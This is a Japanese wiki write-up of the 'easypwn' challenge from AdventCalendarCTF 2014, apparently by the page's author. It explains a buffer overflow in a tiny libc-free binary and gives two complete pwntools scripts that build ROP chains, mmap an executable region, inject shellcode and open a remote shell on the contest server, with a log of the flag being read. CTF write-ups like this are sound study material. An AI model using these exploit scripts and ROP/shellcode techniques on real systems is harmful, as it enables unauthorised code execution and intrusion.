ログイン
編集不可のページディスカッション情報添付ファイル
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-20

MMA

easypwn

問題

Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs.

easypwn

解法1

バイナリ自体は極めて簡潔ですぐに読み終わる。何しろlibcすらリンクされておらず,自力でシステムコールを呼び出している。 readで0x80バイト読み込んでおり,return addressから先0x70バイト以内を上書きできる。 よってROPでsyscallを呼び出してopen+readないしシェルをexecveすればよいのだが,なにぶんバイナリが格段に小さいため,利用できるガジェットが非常に限られている。そもそもバイナリ中にc3 (ret)が3回しか出てこない。 さらに,このバイナリには書き込みできるメモリ領域がスタックしか存在していない。このままではスタックの場所を取得しなければならない。

syscall関数は次のように,システムコールの引数を3つ分スタックから読んで,eaxで指定したシステムコールを実行するようになっている。

08048080 <syscall>:
 8048080:       8b 54 24 0c             mov    0xc(%esp),%edx
 8048084:       8b 4c 24 08             mov    0x8(%esp),%ecx
 8048088:       8b 5c 24 04             mov    0x4(%esp),%ebx
 804808c:       cd 80                   int    $0x80
 804808e:       c3                      ret    
 804808f:       90                      nop

よって,システムコールを呼び出すときにはeaxにシステムコール番号をなんとかして作り出す必要がある。

readシステムコールは,読み取った長さをeaxに格納することに注目すると,pwn_me内部のreadの後に0x80以下の値を作り出すことが可能である。 ただし,実際には読み取った内容でreturn addressを書き換えてROPを構成しなければならないことを考えると,ある程度大きな値でなくてはならない。 よってopen (0x5)やread (0x3)をこれによって直接作ることはできない。

そこで,次のようなガジェットが存在することに注目する。

 80480ea:       04 5e                   add al, 0x5e
 80480ec:       c3                      ret    

これを用いることで,eaxの最下位バイトだけに0x5eを加えることができるから, (0x47 + 0x5e + 0x5e) % 256 = 0x03のようにして小さい値を作り出すことができる。

さらに,書き込める固定されたメモリ領域が存在しないことについては, システムコールが自由に利用できるのであるからmmapで作ってしまえば良い。 パーミッションも自由に設定できるので,ここにシェルコードを置いて実行してしまえば良い。

以上より,次の方針でエクスプロイトを作成した。 まずmmapで固定されたrwxな領域を作り,もう一度pwn_meを呼び出してeaxを再設定して, 作成した領域にreadでシェルコードを書き込み,シェルコードへreturnする。

   1 import sys
   2 import time
   3 from pwn import *
   4 context(arch = 'i386', os = 'linux')
   5 
   6 SYSCALL   = p32(0x8048080)
   7 POP4      = p32(0x80480bb)  # add esp, 0x10; ret
   8 SETESI    = p32(0x80480eb)  # pop esi; ret
   9 ADD5ETOAL = p32(0x80480ea)  # add al, 0x5e; ret
  10 DUMMY = "AAAA"
  11 
  12 bufaddr = 0x40400000
  13 
  14 ############################################
  15 rop1 = ""
  16 # eax = 0x62
  17 rop1 += ADD5ETOAL
  18 # eax = 0xc0 (mmap2)
  19 
  20 rop1 += SETESI
  21 rop1 += p32(0x22)       # MAP_ANONYMOUS|MAP_PRIVATE
  22 
  23 rop1 += SYSCALL         # call mmap
  24 rop1 += POP4
  25 rop1 += p32(bufaddr)    # addr
  26 rop1 += p32(0x10000)    # length
  27 rop1 += p32(7)          # PROT_READ|PROT_WRITE|PROT_EXEC
  28 rop1 += DUMMY
  29 
  30 rop1 += SETESI
  31 rop1 += p32(0x8048080)  # restore esi
  32 
  33 rop1 += p32(0x8048090)  # re-execute pwn_me
  34 
  35 s1 = "A"*16
  36 s1 += rop1
  37 s1 += "A"*(0x62-len(s1))
  38 
  39 ############################################
  40 rop2 = ""
  41 # eax = 0x47
  42 rop2 += ADD5ETOAL
  43 rop2 += ADD5ETOAL
  44 # eax = 0x03
  45 
  46 rop2 += SYSCALL         # call read
  47 rop2 += POP4
  48 rop2 += p32(0)          # stdin
  49 rop2 += p32(bufaddr)    # buf
  50 rop2 += p32(0x80)       # length
  51 rop2 += DUMMY
  52 
  53 rop2 += p32(bufaddr)    # run shellcode
  54 
  55 s2 = "A"*16
  56 s2 += rop2
  57 s2 += "A"*(0x47-len(s2))
  58 
  59 ############################################
  60 shellcode = asm(shellcraft.sh())
  61 
  62 
  63 #conn = process("./easypwn")
  64 conn = remote("pwnable.katsudon.org", 28099)
  65 print conn.recvuntil(': ')
  66 
  67 print hexii(s1)
  68 conn.send(s1)
  69 print conn.recvuntil(': ')
  70 
  71 print hexii(s2)
  72 conn.send(s2)
  73 
  74 conn.send(shellcode)
  75 conn.interactive()

% python exploit.py
[+] Opening connection to pwnable.katsudon.org on port 28099: OK
pwn me: 
00000000  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
00000010  ea 80 04 08 eb 80 04 08 ."          80 80 04 08 |
00000020  bb 80 04 08       .@ .@       01    07          |
00000030  .A .A .A .A eb 80 04 08 80 80 04 08 90 80 04 08 |
00000040  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
*
00000060  .A                                              |
00000061
pwn me: 
00000000  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
00000010  ea 80 04 08 ea 80 04 08 80 80 04 08 bb 80 04 08 |
00000020                    .@ .@ 80          .A .A .A .A |
00000030        .@ .@ .A .A .A .A .A .A .A .A .A .A .A .A |
00000040  .A .A .A .A .A .A                               |
00000046
[*] Switching to interactive mode
$ ls
flag
$ cat flag
ADCTF_175_345y_7o_cON7ROL_5Y5c4LL
$ 

解法2

hhc0nullさんにROPを二回に分けなくても出来るんじゃないかと言われたのでやってみたら, readを2回(stager + shellcode)しかしないバージョンができた。

mmapのaddrとlengthの値を同じにすることによって,次のreadの読み込み先を確保したメモリ領域にすることができる。

   1 import sys
   2 import time
   3 from pwn import *
   4 context(arch = 'i386', os = 'linux')
   5 
   6 SYSCALL   = p32(0x8048080)
   7 POP4      = p32(0x80480bb)  # add esp, 0x10; ret
   8 SETESI    = p32(0x80480eb)  # pop esi; ret
   9 ADD5ETOAL = p32(0x80480ea)  # add al, 0x5e; ret
  10 DUMMY = "AAAA"
  11 
  12 bufaddr = 0x100000
  13 
  14 ############################################
  15 rop = ""
  16 # eax = 0x62
  17 rop += ADD5ETOAL
  18 # eax = 0xc0 (mmap2)
  19 
  20 rop += SETESI
  21 rop += p32(0x22)        # MAP_ANONYMOUS|MAP_PRIVATE
  22 
  23 rop += SYSCALL          # call mmap
  24 rop += POP4
  25 rop += p32(bufaddr)     # addr
  26 rop += p32(bufaddr)     # length (ecx)
  27 rop += p32(7)           # PROT_READ|PROT_WRITE|PROT_EXEC
  28 rop += DUMMY
  29 
  30 rop += SETESI
  31 rop += p32(0x8048080)   # restore esi
  32 
  33 rop += p32(0x80480a9)   # read(STDIN, ecx, 128); esp += 0x10; ret
  34 rop += DUMMY*4
  35 
  36 rop += p32(bufaddr)     # run shellcode
  37 
  38 s = "A"*16
  39 s += rop
  40 s += "A"*(0x62-len(s))
  41 
  42 ############################################
  43 shellcode = asm(shellcraft.sh())
  44 
  45 #conn = process("./easypwn")
  46 conn = remote("pwnable.katsudon.org", 28099)
  47 print conn.recvuntil(': ')
  48 
  49 print hexii(s)
  50 conn.send(s)
  51 
  52 time.sleep(0.5)
  53 conn.send(shellcode)
  54 conn.interactive()

ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-20 (最終更新日時 2014-12-26 02:26:19 更新者 ytoku)